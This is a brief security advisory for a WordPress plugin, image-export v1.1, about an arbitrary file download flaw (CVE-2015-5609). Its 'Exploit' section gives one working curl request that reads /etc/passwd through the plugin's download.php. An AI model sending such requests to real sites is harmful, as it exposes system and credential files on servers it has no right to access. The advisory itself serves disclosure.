Arbitrary file download vulnerability in Wordpress Plugin image-export v1.1

#886 · 2015-07-01

CVE ID(s): CVE-2015-5609

Notified: 2015-07-05

Description:

Image Export plugin can help you selectively download images uploaded by an administrator .

Exploit:

$ curl http://example.com/wp-content/plugins/image-export/download.php?file=/etc/passwd

Download: https://wordpress.org/plugins/image-export

URL: http://www.vapid.dhs.org/advisory.php?v=135